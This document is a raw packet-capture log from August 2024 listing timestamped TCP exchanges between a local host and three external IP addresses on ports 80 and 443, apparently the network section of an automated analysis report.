Aug 21, 2024 08:32:14.906995058 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907011032 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907027006 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907057047 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907110929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907135963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907141924 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907157898 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907188892 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907284021 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907289982 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907300949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907305956 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907339096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907371044 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907412052 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907418013 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907429934 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907461882 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907490969 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907567024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907573938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907583952 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907589912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907597065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907598972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907604933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907615900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907623053 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907658100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907658100 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907701015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907710075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907711983 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907717943 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907747984 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907764912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907767057 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907772064 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907793999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907807112 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907812119 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907813072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907824039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907830000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907833099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907851934 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907881021 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907918930 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907939911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907944918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907954931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.907962084 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.907991886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908008099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908109903 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908117056 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908128023 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908133030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908138037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908149958 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908155918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908163071 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908195019 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908195019 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908260107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908266068 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908277035 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908310890 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908343077 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908373117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908379078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908385038 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908390045 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908428907 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908499002 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908504963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908509970 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908514977 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908520937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908533096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908539057 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908585072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908585072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908622980 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908643007 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908672094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908679962 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908685923 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:14.908687115 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908711910 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.908773899 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:14.932508945 CEST	443	49729	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.976367950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976381063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976383924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976389885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976392031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976403952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976411104 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976423979 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.976453066 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.976469040 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.976547956 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.976603985 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.976661921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976669073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976675034 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976686001 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976691961 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976696968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976702929 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.976703882 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976738930 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.976742983 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976746082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.976748943 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976754904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976759911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976767063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976787090 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.976816893 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.976876020 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976911068 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976917028 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.976953030 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977018118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977024078 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977035046 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977041006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977066040 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977088928 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977152109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977158070 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977180958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977189064 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977199078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977226973 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977293968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977299929 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977312088 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977317095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977339983 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977353096 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977493048 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977499008 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977509975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977519989 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977525949 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977538109 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977544069 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977544069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977550030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977556944 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977577925 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977601051 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977761030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977766991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977777958 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977783918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977788925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977802038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977808952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977813959 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977838993 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977866888 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.977893114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977899075 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.977946043 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978019953 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978027105 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978039026 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978044987 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978049994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978061914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978068113 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978070974 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978074074 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978079081 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978089094 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978112936 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978272915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978280067 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978322983 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978353977 CEST	49731	443	192.168.2.6	162.241.63.30
Aug 21, 2024 08:32:14.978365898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978372097 CEST	443	49731	162.241.63.30	192.168.2.6
Aug 21, 2024 08:32:14.978379965 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978387117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978425026 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978449106 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978492975 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978498936 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978509903 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978514910 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978519917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978540897 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978545904 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978571892 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978604078 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978751898 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978758097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978770018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978775024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978780031 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978785992 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978796959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978797913 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978801966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.978835106 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.978847027 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979116917 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979123116 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979132891 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979139090 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979144096 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979150057 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979156017 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979161024 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979161978 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979166985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979172945 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979177952 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979190111 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979195118 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979202986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979203939 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979223967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979243994 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979247093 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979253054 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979295015 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979341030 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979346991 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979358912 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979363918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979368925 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979382038 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979387045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979393005 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979393005 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979412079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979432106 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979598045 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979603052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979621887 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979634047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979640007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979649067 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979675055 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979677916 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979684114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979688883 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979693890 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979702950 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979718924 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979724884 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979724884 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979742050 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979774952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:14.979907036 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:14.979953051 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:15.000552893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000562906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000576019 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000659943 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.000690937 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.000701904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000715971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000721931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000726938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000732899 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000737906 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000744104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000750065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000755072 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.000756025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000797033 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.000802040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000808954 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000813961 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.000814915 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000864983 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.000936985 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000942945 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000955105 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000961065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000967979 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000978947 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.000983953 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001040936 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001040936 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001332998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001354933 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001362085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001509905 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001524925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001532078 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001553059 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001559973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001604080 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001604080 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001658916 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001666069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001677036 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001682997 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001688957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001694918 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001701117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001723051 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001746893 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001820087 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001826048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001837969 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001843929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001868010 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001914024 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.001954079 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001960993 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001972914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001977921 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.001983881 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002003908 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002036095 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002098083 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002104998 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002127886 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002134085 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002146006 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:15.002150059 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002186060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002186060 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:15.002366066 CEST	80	49719	147.45.44.104	192.168.2.6
